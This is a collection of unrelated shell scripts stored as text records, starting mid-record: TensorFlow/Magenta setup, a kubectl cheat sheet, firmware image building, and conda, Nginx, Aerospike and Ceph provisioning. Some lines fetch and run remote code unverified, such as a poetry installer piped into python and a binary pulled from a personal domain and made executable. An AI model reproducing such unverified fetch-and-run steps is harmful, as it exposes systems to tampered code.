\"${DATADIR}\"/wikipedia_test_basedocs.txt \\\n -model \"${MODELDIR}\"/wikipedia_article_search_full \\\n -thread 20 \\\n -trainMode 2 \\\n -normalizeText true \\\n -verbose true"} {"text": "setup-on-cloud9.sh\n#!/bin/bash \n\n# only need to run this script with the command (do not type the #)\n# bash setup.sh\n# best in cloud 9 to just right click this file and select run\n\n\n#commented out batch files aer from another github site at https://github.com/hpssjellis/TensorFlow-Android-Camera-Demo-on-Cloud9\n\n\n\n#bash a02-rocksetta-gcc-java8.sh\n\n#bash a03-rocksetta-bazel.sh\n\n\n\necho \"Now trying Bazel\"\n#read -p \"Press [Enter] key to start \"\n\n\n#https://github.com/bazelbuild/bazel/releases/download/0.1.2/bazel-0.1.2-jdk7-installer-linux-x86_64.sh\n\n\n\n#wget --header \"Cookie: oraclelicense=accept-securebackup-cookie\" http://download.oracle.com/otn-pub/java/jdk/8u20-b26/jdk-8u20-linux-x64.tar.gz\n\n\n\n#git clone https://github.com/bazelbuild/bazel.git\n\n\n#cd bazel\n#bash compile.sh\n\n#cd ..\n\n\n\n\n#https://github.com/bazelbuild/bazel/releases/download/0.1.2/bazel-0.1.2-jdk7-installer-linux-x86_64.sh\n\n#mkdir /home/ubuntu/workspace/bazel\n\n#wget https://github.com/bazelbuild/bazel/releases/download/0.1.2/bazel-0.1.2-jdk7-installer-linux-x86_64.sh -O /home/ubuntu/workspace/bazel/bazel-0.1.2-jdk7-installer-linux-x86_64.sh\n\n#cd /home/ubuntu/workspace/bazel\n\n#chmod a+x bazel-0.1.2-jdk7-installer-linux-x86_64.sh\n#bash bazel-0.1.2-jdk7-installer-linux-x86_64.sh --bin=/home/ubuntu/workspace/bazel/bin --base=/home/ubuntu/workspace/bazel/.bazel --bazelrc=/home/ubuntu/workspace/bazel/.bazelrc\n\n#rm bazel-0.1.2-jdk7-installer-linux-x86_64.sh\n\n#cd /home/ubuntu/workspace/bazel/.bazel/bin\n#chmod a+x bazel\n\n\nsudo apt-get -y install software-properties-common\nsudo add-apt-repository ppa:webupd8team/java\nsudo apt-get update\nsudo apt-get -y install oracle-java8-installer pkg-config zip g++ zlib1g-dev unzip\n\nmkdir /home/ubuntu/workspace/bazel\n\n#wget https://github.com/bazelbuild/bazel/releases/download/0.2.3/bazel-0.2.3-installer-linux-x86_64.sh \n\nwget https://github.com/bazelbuild/bazel/releases/download/0.2.3/bazel-0.2.3-installer-linux-x86_64.sh -O /home/ubuntu/workspace/bazel/bazel-0.2.3-installer-linux-x86_64.sh\n#chmod +x bazel-0.2.3-installer-linux-x86_64.sh\n\nsudo bash bazel-0.2.3-installer-linux-x86_64.sh --user --bin=./bin --base=.\n\n#bash bazel-0.2.3-installer-linux-x86_64.sh --user --bin=${IDEDIR}/bin\nexport PATH=\"$PATH:home/ubuntu/workspace/bazel/bin\"\nrm bazel-0.2.3-installer-linux-x86_64.sh\n\n#./bazel-0.1.5-jdk7-installer-linux-x86_64.sh --user --bin=${IDEDIR}/bin --base=${IDEDIR}/bazelbase\n\n\n#ln -s /home/ubuntu/.bazel/bin /home/ubuntu/workspace/hidden-bazel\n\n\n\nbazel -h\n\n\n\nprintf \"\\n\\nexport BAZEL_HOME=/home/ubuntu/workspace/bazel\\nexport PATH=\\$PATH:\\$BAZEL_HOME/bin\" >> ~/.profile\n\n#printf \"\\n\\nsource ./bin/bazel-complete.bash\" >> ~/.profile\n\n\n\n\n\n\n\n\n#echo \"exporting the Path to my .profile file so other terminals have the path\"\n\n#printf \"\\n\\nexport BAZEL_HOME=/home/ubuntu/workspace/bazel/.bazel\\nexport PATH=\\$PATH:\\$BAZEL_HOME/bin\" >> ~/.profile\n\n\necho \"exporting the path so that the next command works\"\n\n\n#export BAZEL_HOME=/home/ubuntu/workspace/bazel/.bazel\n#export PATH=$PATH:$BAZEL_HOME/bin\n\n\n#Lets try to update bazel\n\n#sudo apt-get upgrade bazel\n\n\ncd /home/ubuntu/workspace\n\n\necho \"----------------Bazel Done----------------------------------------------\"\necho \". \"\n\n\n\n\n\n#bash a04-rocksetta-android-sdk.sh\n\n\n#bash a06-rocksetta-setup-android.sh\n\n\n#bash a07-rocksetta-gradle.sh\n\n\n#bash a08-rocksetta-paths.sh\n\n#bash a09-rocksetta-tensorflow.sh\n\n\n\nsudo apt-get -y install python-pip python-dev python-virtualenv libblas-dev liblapack-dev libatlas-base-dev gfortran\n\n\necho \"make the tensorflow environment\"\n\nvirtualenv --system-site-packages ~/virtual-tf\n\necho \"--------------------------------------------------------------\"\necho \". \"\n\n\n\n\n\n\n\necho \"Activate the environemtn use deactivate to get your cursor back\"\nsource ~/virtual-tf/bin/activate \n\nprintf \"\\n\\nsource ~/virtual-tf/bin/activate \" >> ~/.profile\nprintf \"\\necho 'enter deactivate to get out of the virtual enviroment'\" >> ~/.profile\n\necho \"Now get TensorFlow\"\n\nsudo pip install --upgrade http://ci.tensorflow.org/view/Nightly/job/nightly-matrix-cpu/TF_BUILD_CONTAINER_TYPE=CPU,TF_BUILD_IS_OPT=OPT,TF_BUILD_IS_PIP=PIP,TF_BUILD_PYTHON_VERSION=PYTHON2,label=cpu-slave/lastSuccessfulBuild/artifact/pip_test/whl/tensorflow-0.8.0-cp27-none-linux_x86_64.whl\n\n#git clone --recurse-submodules https://github.com/tensorflow/tensorflow /home/ubuntu/workspace/tensorflow/tensorflow\n\n#sudo pip install --upgrade https://storage.googleapis.com/tensorflow/linux/cpu/tensorflow-0.8.0-cp27-none-linux_x86_64.whl\n\n\n\n#echo \"Now download the image sets\"\n\n\n#wget https://storage.googleapis.com/download.tensorflow.org/models/inception5h.zip -O /tmp/inception5h.zip\n\n#unzip /tmp/inception5h.zip -d /home/ubuntu/workspace/tensorflow/tensorflow/examples/android/assets/\n\n\n#rm /tmp/inception5h.zip\n\n\n\necho \"exporting the Path to my .profile file so other terminals have the path\"\n\nprintf \"\\n\\nexport TENSORFLOW_HOME=/home/ubuntu/workspace/tensorflow/tensorflow\\nexport PATH=\\$PATH:\\$TENSORFLOW_HOME/bin\" >> ~/.profile\n\n\necho \"exporting the path so that the next command works\"\n\n\nexport TENSORFLOW_HOME=/home/ubuntu/workspace/tensorflow/tensorflow\nexport PATH=$PATH:$TENSORFLOW_HOME/bin\n\n\n\n\n\necho \"-------------DONE TENSORFLOW-------------------------------------------------\"\necho \". \"\n\n\n\n\n\n\n\n\n\n\n\n#bash a01-rocksetta-checks.sh\n\n\n\n\n\n\n\necho \"First checking the Python version\"\npython --version\n\necho \"--------------------------------------------------------------\"\necho \". \"\n\n\necho \"Now checking where python is installed\"\nreadlink -f $(which python)\necho \"\"\necho \"--------------------------------------------------------------\"\n\n\necho \"Now checking if pip is installed\"\n\npip list\n\necho \"--------------------------------------------------------------\"\necho \". \"\n\n\n\necho \"echo \"Now checking where pip is installed\"\nreadlink -f $(which pip)\necho \"\"\necho \"--------------------------------------------------------------\"\necho \". \"\necho \"Now checking if java is installed\"\njava -h\necho \"\"\njavac\necho \"--------------------------------------------------------------\"\necho \". \"\necho \"Now checking where the jdk is installed\"\nreadlink -f $(which java)\necho \"\"\nreadlink -f $(which javac)\necho \"--------------------------------------------------------------\"\necho \". \"\necho \"Now checking if Android SDK is installed\"\nandroid -h\necho \"\"\necho \"--------------------------------------------------------------\"\necho \". \"\necho \"Now checking where android sdk is installed\"\nreadlink -f $(which android)\necho \"--------------------------------------------------------------\"\necho \". \"\necho \"Now checking if Bazel is installed\"\nbazel -h\necho \"\"\necho \"--------------------------------------------------------------\"\necho \". \"\necho \"echo \"Now checking where bazel is installed\"\nreadlink -f $(which bazel)\necho \"\"\necho \"--------------------------------------------------------------\"\necho \". \"\n\n\n\n\necho \"Now checking if Gradle is installed\"\n\ngradle -v\necho \"\"\n\necho \"--------------------------------------------------------------\"\necho \". \"\n\n\n\n\n\necho \"echo \"Now checking where Gradle is installed\"\nreadlink -f $(which gradle)\necho \"\"\necho \"--------------------------------------------------------------\"\necho \". \"\necho \"echo \"Now checking where gcc is installed\"\nreadlink -f $(which gcc)\necho \"\"\n\necho \"--------------------------------------------------------------\"\necho \". \"\n\n\n\necho \"next list this directory\"\npwd\necho \"\"\nls -lah \n\necho \"--------------------------------------------------------------\"\necho \"Some other useful commands are cd cd .. dir ls pwd \"\necho \".\"\n\necho \" To check paths for new terminals, I suggested to run:\"\necho \"nano ~/.profile\"\n\n\n\n\n\n# Now install magenta\n\ngit clone https://github.com/tensorflow/magenta.git\n\n\n\n\necho \"Since Magenta uses the /tmp directory better make a link to it\"\nln -s /tmp /home/ubuntu/workspace/hidden-tmp\n\n# now test bazel, where is the directory???\n\ncd /home/ubuntu/workspace/magenta\n\n#bazel test\n\n\n#bazel build //magenta:midi_io_test\n#bazel build //magenta:midi_io\n\n# build your script (lots of midi files in a folder)\n#bazel build magenta:convert_midi_dir_to_note_sequences\n\n\n\n\n#Then run it\n\n#./bazel-bin/magenta/convert_midi_dir_to_note_sequences \\\n#--midi_dir=/path/to/midi/dir \\\n#--output_file=/path/to/tfrecord/file \\\n#--recursive\n\n\n\n\n\n\n\n#echo \"Now lets make an App. Checkout a10.rocksetta-create.sh to see the steps\"\n\n#bash a10.rocksetta-create.sh\n\n#echo \"Look in the wow3/bin folder to see your myNameWow3-debug.apk file\"\n#echo \"run the index.html file and then Preview preview running App to view the .apk on a webpage to test on your Android 4.4.0 phone\"\n\n\n\n\n\n# some forum stuff at\n#https://groups.google.com/a/tensorflow.org/forum/#!searchin/magenta-discuss/magenta/magenta-discuss/R0YiSbM3v5c/dW2qtKM3BQAJ\n#https://groups.google.com/a/tensorflow.org/forum/#!searchin/magenta-discuss/magenta/magenta-discuss/HC_squh5TbA/Gx7MCp4cBAAJ\n#https://groups.google.com/a/tensorflow.org/forum/#!searchin/magenta-discuss/magenta/magenta-discuss/dtQUq6IVaXk/7Cg32SdPBAAJ"} {"text": "slave.sh\n#!/bin/bash\n\njava -Xms30g -Xmx30g -jar target/octopus-1.0.jar slave -w 20 -mh 172.16.64.61"} {"text": "#!/bin/bash\n# Mount the partitions read-only, after a fsck check and repair.\n\nfunction prep_probe_and_mount() {\n PART=$1\n mkdir -p /${PART}\n\n # Probe the partitions, check and mount\n if [ -L /dev/zeroVG/${PART} ]\n then\n logger -t ZeroStick -s Probing partitions on /dev/zeroVG/${PART}\n partprobe /dev/zeroVG/${PART}\n logger -t ZeroStick -s Running fsck on /dev/mapper/zeroVG-${PART}1\n fsck.msdos -a /dev/mapper/zeroVG-${PART}1\n logger -t ZeroStick -s Mounting /dev/mapper/zeroVG-${PART}1 to /${PART}\n mount -o ro -t vfat /dev/mapper/zeroVG-${PART}1 /${PART}\n\n fi\n\n}\n\nprep_probe_and_mount cam\nprep_probe_and_mount music"} {"text": "tools/kubernetes.sh\n##############################################################################\n# KUBERNETES\n# PDF: https://sematext.com/kubernetes-cheat-sheet/\n# WEBSITE: https://kubernetes.io/\n# DOCUMENTATION: https://kubernetes.io/docs/home\n##############################################################################\n\n\n##############################################################################\n# CLIENT CONFIGURATION\n##############################################################################\n\n\n# Setup autocomplete in bash; bash-completion package should be installed first\nsource <(kubectl completion bash)\n\n# View Kubernetes config\nkubectl config view\n\n# View specific config items by json path\nkubectl config view -o jsonpath='{.users[?(@.name == \"k8s\")].user.password}'\n\n# Set credentials for foo.kuberntes.com\nkubectl config set-credentials kubeuser/foo.kubernetes.com --username=kubeuser --password=\n\n\n##############################################################################\n# VIEWING, FINDING RESOURCES\n##############################################################################\n\n\n# List all services in the namespace\nkubectl get services\n\n# List all pods in all namespaces in wide format\nkubectl get pods -o wide --all-namespaces\n\n# List all pods in json (or yaml) format\nkubectl get pods -o json\n\n# Describe resource details (node, pod, svc)\nkubectl describe nodes my-node\n\n# List services sorted by name\nkubectl get services --sort-by=.metadata.name\n\n# List pods sorted by restart count\nkubectl get pods --sort-by='.status.containerStatuses[0].restartCount'\n\n# Rolling update pods for frontend-v1\nkubectl rolling-update frontend-v1 -f frontend-v2.json\n\n# Scale a replicaset named 'foo' to 3\nkubectl scale --replicas=3 rs/foo\n\n# Scale a resource specified in \"foo.yaml\" to 3\nkubectl scale --replicas=3 -f foo.yaml\n\n# Execute a command in every pod / replica\nfor i in 0 1; do kubectl exec foo-$i -- sh -c 'echo $(hostname) > /usr/share/nginx/html/index.html'; done\n\n\n##############################################################################\n# MANAGE RESOURCES\n##############################################################################\n\n\n# Get documentation for pod or service\nkubectl explain pods,svc\n\n# Create resource(s) like pods, services or daemonsets\nkubectl create -f ./my-manifest.yaml\n\n# Apply a configuration to a resource\nkubectl apply -f ./my-manifest.yaml\n\n# Start a single instance of Nginx\nkubectl run nginx --image=nginx\n\n# Create a secret with several keys\ncat <\" | base64)\n username: $(echo \"jane\"| base64)\nEOF\n\n# Delete a resource\nkubectl delete -f ./my-manifest.yaml\n\n\n##############################################################################\n# MONITORING & LOGGING\n##############################################################################\n\n\n# Deploy Heapster from Github repository\nkubectl create -f deploy/kube-config/standalone/\n\n# Show metrics for nodes\nkubectl top node\n\n# Show metrics for pods\nkubectl top pod\n\n# Show metrics for a given pod and its containers\nkubectl top pod pod_name --containers\n\n# Dump pod logs (stdout)\nkubectl logs pod_name\n\n# Stream pod container logs (stdout, multi-container case)\nkubectl logs -f pod_name -c my-container"} {"text": "0\n#!/bin/bash\n\n# UBIFS logical eraseblock limit - increase this number if mkfs.ubifs complains\n#\n# for 93385VCM using 128MB NAND and smaller flash partitions, 2047 is too large\n# causing the attach/mount operation to fail. Override this # to 250 for those\n# cases.\nmax_leb_cnt=2047\nmax_led_cnt_small_eb=250\n# Volume size (in erase blocks)\nmin_eb_per_vol=18\n\nSCRIPT_NAME=`basename $0`\nMANIFEST_FILE=$SCRIPT_NAME.manifest\n\nfunction calculate_volume_size()\n{\n\tcontentsize=$2\n\trequiredsize=$(($min_eb_per_vol * $1))\n\techo \"Required Size: $requiredsize kBytes Content Size: $contentsize kBytes\"\n\tif [ $contentsize -lt $requiredsize ]\n\tthen\n\t\t#pad to leave room to write\n\t\tcorrectedvolsize=$(( ($requiredsize * 5) / 4))\n\telse\n\t\tcorrectedvolsize=$(( ($contentsize * 5) / 4))\n\tfi\n\techo \"Enlarging volume to $correctedvolsize kBytes\"\n}\n\nfunction make_ubi_cm_img()\n{\n\tpebk=$1\n\tpage=$2\n\n\tpeb=$(($1 * 1024))\n\n\tif ls $target_directory/cm* >& /dev/null; then\n\t echo -e \"\\nCreating UBI rootfs image for CM partition\"\n\telse\n\t echo -e \"\\nWARNING: No files in $target_directory. CM images will not be created\"\n\t return\n\tfi\n\n\tif [ $pebk -eq 128 ]; then\n\t\tmax_leb_cnt=$max_led_cnt_small_eb\n\tfi\n\n\tif [ $page -lt 64 ]; then\n\t\tleb=$(($peb - 64 * 2))\n\t\tminmsg=\"minimum write size $page (NOR)\"\n\telse\n\t\tleb=$(($peb - $page * 2))\n\t\tminmsg=\"minimum write size $page (NAND)\"\n\tfi\n\n\tout=$output_directory/\"${prepend_prefix}ubifs-${pebk}k-${page}-${target}-CM.img\"\n\n\trm -f tmp/ubinize.cfg\n\n\techo \"Writing UBIFS CM images for ${pebk}kB erase, ${minmsg}...\"\n\n\trm -rf img_tmp\n\tmkdir -p img_tmp\n\n\t[ -f $target_directory/cmboot.bin ]\n\tif [ $? -ne 0 ]\n\tthen\n\t echo \"Failed to find cmboot.bin. Exiting!\"\n\t rm -rf img_tmp\n\t exit 1\n\tfi\n\n\t[ -f $target_directory/cmrun1.bin ]\n\tif [ $? -ne 0 ]\n\tthen\n\t echo \"Failed to find cmrun1.bin. Exiting!\"\n\t rm -rf img_tmp\n\t exit 1\n\tfi\n\n\t[ -f $target_directory/cmrun1.bin ] && cp $target_directory/cmrun1.bin img_tmp\n\t[ -f $target_directory/cmboot.bin ] && cp $target_directory/cmboot.bin img_tmp\n\n\tmkfs.ubifs -U -r img_tmp -o tmp/ubifs1.img \\\n\t\t-m $page -e $leb -c ${max_leb_cnt}\n\n\tvol_size=$(du -sk tmp/ubifs1.img | cut -f1)\n\tcalculate_volume_size $pebk $vol_size\n\n\tcat >> tmp/ubinize.cfg <<-EOF\n\t[boot-volume]\n\tmode=ubi\n\timage=tmp/ubifs1.img\n\tvol_id=1\n\tvol_size=${correctedvolsize}KiB\n\tvol_type=dynamic\n\tvol_name=images\n\tvol_flags=autoresize\nEOF\n\n\tubinize -o tmp/ubi.img -m $page -p $peb tmp/ubinize.cfg\n\n\tmv tmp/ubi.img $out\n\techo \" -> $out\"\n echo $out > $MANIFEST_FILE\n\trm -rf img_tmp\n}\n\nfunction show_help()\n{\n echo \"Usage: build_cm_images.sh\"\n echo \"Required args:\"\n echo \"-d [this is the directory that contains the images to be included in the filesystem]\"\n echo \"-t [this is the build target, i.e. 3390a0, 7145b0, etc]\"\n echo \"Optional args\"\n\techo \"-o \"\n\techo \"-p \"\n echo \"-h or ? [show this help]\"\n}\n\nif [ $# -eq 0 ]\nthen\n show_help\n exit 1\nfi\n\ntarget_directory=\ntarget=\noutput_directory=\".\"\n\n#we need a directory and a target from the user\nwhile getopts \"h?d:t:o:p:\" opt; do\n case \"$opt\" in\n h|\\?)\n show_help\n exit 0\n ;;\n d) target_directory=$OPTARG\n ;;\n t) target=$OPTARG\n ;;\n o) output_directory=$OPTARG\n ;;\n p) prepend_prefix=$OPTARG\n\tdash=\"-\"\n\tprepend_prefix=$prepend_prefix$dash\n ;;\n esac\ndone\n\ncase \"$target\" in\n\"7145a0\"| \"7145b0\"| \"3384b0\" | \"3390a0\"| \"3390b0\")\n\t;;\n*)\n\techo \"Unrecognized target: $target, exiting...\"\n\texit 1\n\t;;\nesac\n\nif [ -d \"$target_directory\" ]\nthen\n\tmkdir -p tmp\n\tmake_ubi_cm_img 128 2048\n\trm -rf tmp\nelse\n\techo \"Cannot find target directory!\"\n\texit 1\nfi"} {"text": "#!/bin/sh\n\n# ./watcher.sh chp/ ./compile.sh\n\nOUTFILE=\"./compile.out\"\n\ncheck() {\n dir=\"$1\"\n chsum1=`tar cf - $dir | md5sum | awk '{print $1}'`\n chsum2=$chsum1\n echo \"chsum = $chsum1\"\n while [ \"X$chsum1\" = \"X$chsum2\" ]\n do\n sleep 5s\n chsum2=`tar cf - $dir | md5sum | awk '{print $1}'`\n done\n\n eval $2 > $OUTFILE 2>&1\n}\n\nwhile true ; do check $* ; done"} {"text": "#!/bin/bash\n\nset -x\nset -e\n\nDEV=cpu\n\nwhile [[ $# -gt 0 ]]; do\n key=\"$1\"\n case $key in\n --gpu)\n DEV=gpu\n shift\n ;;\nesac\ndone\n\nif [ ! -d $HOME/miniconda ]; then\n wget -nv https://repo.continuum.io/miniconda/Miniconda3-latest-`uname -s`-`uname -m`.sh -O miniconda.sh\n bash miniconda.sh -b -p $HOME/miniconda\nfi\nexport PATH=\"$HOME/miniconda/bin:$PATH\"\nhash -r\nconda config --set always_yes yes --set changeps1 no\nconda update -q conda\nconda install pip\nconda init\n. $HOME/miniconda/etc/profile.d/conda.sh\nconda env remove -n test\nconda create -n test python=3.7\n\n# Activate conda environment and install poetry.\nconda activate test\ncurl -sSL https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py | python\nsource $HOME/.poetry/env\n\n# Install myia_utils. It's used later to re-generate conda environment files.\ncd myia_utils\npoetry install\ncd ..\n\n# Install myia, backend and frontend plugins using poetry.\npoetry install\n\ncd myia_backend_pytorch\npoetry install\n\ncd ../myia_backend_relay\npoetry install\n\ncd ../myia_frontend_pytorch\npoetry install\n\ncd ..\n\n# Complete installation with specific conda packages using environment files.\n# Re-generate environment files before using them.\n./scripts/gen_conda_env_file.sh\nconda env update --file environment.yml\n\ncd myia_backend_pytorch\n./scripts/gen_conda_env_file.sh\nconda env update --file environment-${DEV}.yml\n\ncd ../myia_backend_relay\n./scripts/gen_conda_env_file.sh\nconda env update --file environment.yml\n\ncd ../myia_frontend_pytorch\n./scripts/gen_conda_env_file.sh\nconda env update --file environment-${DEV}.yml\n\ncd .."} {"text": "#!/bin/sh\n#NOTE only creates a GeoIndex on the ['lat', 'lon'] fields\n. ar-env.sh\n\nCOLLECTION=`echo $@`\nif [ $# = 0 ]; then\n COLLECTION=`cat -`\nfi\n\n${NODE} <<- @EOF \narangojs = require('arangojs');\ndb = new arangojs.Database({url: 'http://${ARSVR}:8529'});\ndb.useBasicAuth(\"${ARUSR}\", \"${ARPWD}\");\ndb.useDatabase(\"${ARDBN}\");\n\ndb.collection('${COLLECTION}').createGeoIndex(['lat','lon'])\n .then(index => console.log(\"create geoindex ${COLLECTION}: \",index.id, index.fields),\n\t err => console.error(\"No GeoIndex ${COLLECITON}\"));\n@EOF"} {"text": "#!/usr/local/bin/fontforge\n# Quick and dirty hack: converts a font to truetype (.ttf)\n#fontforge -script otf2ttf.sh FONTNAME.otf\n#for i in *.otf; do fontforge -script otf2ttf.sh $i; done\n\n#!/bin/bash\n\nfor f in $(find . -type f -name \"*.otf\")\ndo\n\techo \"Processing $f ...\"\n\tPrint(\"Opening \"+$f);\n\tOpen($f);\n\tPrint(\"Saving \"+$f:r+\".ttf\");\n\tGenerate($f:r+\".ttf\");\n\tQuit(0);\ndone\n\n#find . -type f -name \"*.png\" -exec convert {} -strip {} \\;"} {"text": "#! /bin/bash\n\nCURRENTDIR=$(pwd)\n\ncd $CHIPSGEN\nmake clean\nrm ./cmake_install.cmake\nrm ./CMakeCache.txt\nrm -r ./CMakeFiles\nrm ./Makefile\n\ncd $CURRENTDIR"} {"text": ".helpers/aliases.zsh1-10\n# HELPER ALIASES\nalias grep='grep --color=auto' # Always highlight grep search term.\nalias ping='ping -c 5' # Pings with 5 packets, not unlimited.\nalias df='df -h' # Disk free, in gigabytes, not bytes.\nalias du='du -h -c' # Calculate total disk usage for a folder.\nalias sgi='sudo gem install' # Install Ruby gems.\nalias be='bundle exec' # Shortcut for Ruby environment activation.\nalias clr='clear;echo \"Currently logged in on $(tty), as $(whoami) in directory $(pwd).\"'\nalias svim=\"sudo vim\" # Run vim as super user.\nalias virtualenv3=\"virtualenv -p python3\"\nalias cpdir=\"cp -R\"\nalias duls=\"find . -maxdepth 1 -type d -mindepth 1 -exec du -hs {} \\;\" # Calculate disk usage per folder/file found in current directory."} {"text": "0\n#!/usr/bin/env bash\nset -x # Echo commands\n\nhugo server -D"} {"text": "0\n#!/bin/bash\n# qqtools runner\n#\n# This file should be sourced rather than executed in a subshell,\n# since some qqtools scripts are meant to modify environment variables\n# or set the current directory. The easiest way is to set up a Bash alias.\n\nif [ -z \"$QQTOOLS_HOME\" ]; then\n echo The QQTOOLS_HOME environment variable must be set.\nfi\n\nQQTOOLS_OUTPUT_SCRIPT=$(PYTHONPATH=\"$QQTOOLS_HOME\" python -m qq.mktemp)\n\n(\n QQTOOLS_CONFIG=\"$QQTOOLS_HOME/config\"\n\n # Attempt to create qqtools home directory\n mkdir -p \"$QQTOOLS_HOME/cmd\"\n mkdir -p \"$QQTOOLS_HOME/data\"\n touch \"$QQTOOLS_CONFIG\"\n source \"$QQTOOLS_CONFIG\"\n\n export QQTOOLS_OUTPUT_SCRIPT\n PYTHONPATH=\"$QQTOOLS_HOME\" python -m qq.cli $*\n exit $?\n)\n\nif [ -r \"$QQTOOLS_OUTPUT_SCRIPT\" ]; then\n source \"$QQTOOLS_OUTPUT_SCRIPT\"\n rm -f \"$QQTOOLS_OUTPUT_SCRIPT\"\nfi\n\nunset QQTOOLS_OUTPUT_SCRIPT"} {"text": "macedigital/dotfiles.bashrc.d/go.sh\n# vim:ft=bash:ts=4:sw=4:et\n\n# go environment\nexport GOPATH=\"${XDG_DATA_HOME:-$HOME/.local/share}/go\"\nexport GOMODCACHE=\"${XDG_CACHE_HOME:-$HOME/.cache}/go/pkg/mod\"\nexport CGO_ENABLED=0\n\nif ! [[ \"$PATH\" =~ \"$GOPATH/bin:\" ]]; then\n export PATH=\"$GOPATH/bin:$PATH\"\nfi"} {"text": "msridhar/SJSjscomp/runall.sh\n#!/usr/bin/env bash\n\n# to test run ./runall.sh -t\nBASEDIR=$(dirname $0)\nRESULTDIR=$BASEDIR/testresults\n\nrm $RESULTDIR/test.log\nfor i in tests/*.js; do ./run.sh $1 $i; done\ncat $RESULTDIR/test.log\n\n\nif [ -f $RESULTDIR/test.log.old ] ;\nthen\n diff $RESULTDIR/test.log.old $RESULTDIR/test.log > /dev/null 2>&1\n if [ $? -eq 0 ] ;\n then\n\t rm -f $RESULTDIR/test.log\n echo \"All tests results match\"\n else\n diff $RESULTDIR/test.log.old $RESULTDIR/test.log\n echo \"At least one test result is different\"\n if [ \"$1\" = \"-a\" ]\n then\n echo \"Replacing old test results with new ones\"\n cp $RESULTDIR/test.log $RESULTDIR/test.log.old\n fi\n fi\nelse\n cp $RESULTDIR/test.log $RESULTDIR/test.log.old\n rm -f $RESULTDIR/test.log\n echo \"Test results logged\"\nfi"} {"text": "azure_aerospike.sh\n#!/bin/bash\n\n# Copyright 2012-2017 Aerospike, Inc.\n#\n# Portions may be licensed to Aerospike, Inc. under one or more contributor\n# license agreements.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License. You may obtain a copy of\n# the License at http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n\nSTART=${1}\nNODEADDRESS=${2}\nPUBLICIP=${3}\nNAMESPACE=${4}\nLOG=/var/log/cluster.log\n\nIFS='.' read -ra OCTETS <<< \"$START\"\n#for i in \"${OCTETS[@]}\"; do\n#\techo $i\n#done\n\nNODE=$START\nCLUSTER=()\n\necho \"My address: $NODEADDRESS\" >> $LOG\necho \"Start: $START\" >> $LOG\necho \"Public IP: $PUBLICIP\" >> $LOG\n\nwhile [ \"$NODE\" != \"$NODEADDRESS\" ]\ndo\n\tCLUSTER+=(\"$NODE\")\n\techo \"node: $NODE\" >> $LOG\n\tOCTETS[3]=$(expr ${OCTETS[3]} + 1 )\n\tOCTETS[2]=$(expr $(expr ${OCTETS[3]} / 255 ) + ${OCTETS[2]})\n\tOCTETS[3]=$(expr ${OCTETS[3]} % 255 )\n\tNODE=\"${OCTETS[0]}.${OCTETS[1]}.${OCTETS[2]}.${OCTETS[3]}\"\ndone\n\n\necho \"Cluster: \" >> $LOG\nfor i in ${CLUSTER[@]}; do\n echo $i >> $LOG\ndone\n\nCONF=/etc/aerospike/aerospike.conf\n\nif [ \"$PUBLICIP\" ]; then\n\tsed -i \"/port 3000/a \\\\\\t\\taccess-address $PUBLICIP virtual\" $CONF\nfi\n\nsed -i '/.*mesh-seed-address-port/d' $CONF\nfor i in ${CLUSTER[@]}; do\n \tsed -i \"/interval/i \\\\\\t\\tmesh-seed-address-port $i 3002\" $CONF\ndone\n\n\nif [ \"$NAMESPACE\" ]; then\n\tsed -i '/namespace/,$d' $CONF\n\tcurl -fs $NAMESPACE >> $CONF\nfi\n\nservice aerospike restart\numount /mnt"} {"text": "#!/usr/bin/env bash\n\n# fail on any command exiting non-zero\nset -eo pipefail\n\nexport DEBIAN_FRONTEND=noninteractive\n\n# install common packages\napt-get update && apt-get install -y curl net-tools sudo\n\ncurl -sSL https://eunice.tedreed.info/dump/confd -o /usr/local/bin/confd\nchmod +x /usr/local/bin/confd\n\ncurl -sSL 'https://ceph.com/git/?p=ceph.git;a=blob_plain;f=keys/release.asc' | apt-key add -\necho \"deb http://ceph.com/debian-giant trusty main\" > /etc/apt/sources.list.d/ceph.list\n\napt-get update && apt-get install -yq ceph\n\napt-get clean -y\n\nrm -Rf /usr/share/man /usr/share/doc\nrm -rf /tmp/* /var/tmp/*\nrm -rf /var/lib/apt/lists/*"} {"text": "andreasantarl/beer-app-server\nOTHER USER TOKEN:\n\n\n\ncurl --include --request POST http://localhost:3000/beers \\\n --header \"Content-Type: application/json\" \\\n --header \"Authorization: Token token=\" \\\n --data '{\n \"beer\": {\n \"id\": 1,\n \"beer_name\": \"\",\n \"company_name\": \"Allagash Brewing Company\",\n \"beer_style\": \"Belgian White\",\n \"abv\": 10.3,\n \"notes\": \"I love this beer! It is delicious!\",\n \"rating\": 4,\n \"drink_again\": true,\n \"created_at\": \"20-May-2011 15:20:00:00:00\",\n \"updated_at\": \"20-May-2011 15:20:00:00:00\",\n \"make_private\": false\n }\n }'"} {"text": "#!/bin/bash\n\ndomain=\"$1\"\nread -a domains <<< \"$2\"\nssl=\"$3\"\nconftpl=\"$4\"\nconfssltpl=\"$5\"\n\nconf='/etc/nginx/conf.d/vagrant.conf'\nsslconf='/etc/nginx/conf.d/vagrant.ssl.conf'\n\nif ! yum list installed nginx18 >/dev/null 2>&1; then\n echo 'Installing Nginx'\n yum install -y nginx18 --enablerepo=webtatic >/dev/null 2>&1\n chkconfig nginx on >/dev/null 2>&1\nfi\n\nfunction nginx_conf {\n template=\"$1\"\n target=\"$2\"\n domain=\"$3\"\n\n # Add configuration\n cp $template $target\n\n # Prepare aliases\n declare -a aliases\n for sub in \"${domains[@]}\"\n do\n aliases=(${aliases[@]} \"$sub.$domain\")\n done\n\n # Inject variables\n alias=\"${aliases[@]}\"\n sed -i \\\n -e \"s@:domain:@$domain@g\" \\\n -e \"s@:domains:@$alias@g\" \\\n $target\n}\n\nif [ ! -f $conf ] || [[ \"$ssl\" == \"true\" && (! -f $sslconf) ]]; then\n # Add default configuration\n echo 'Adding default server'\n nginx_conf $conftpl $conf $domain\n\n # Add ssl configuration\n if [ \"$ssl\" == \"true\" ]; then\n echo 'Adding SSL server'\n nginx_conf $confssltpl $sslconf $domain\n fi\n\n # Restarting httpd service\n service nginx restart >/dev/null 2>&1\nfi"} {"text": 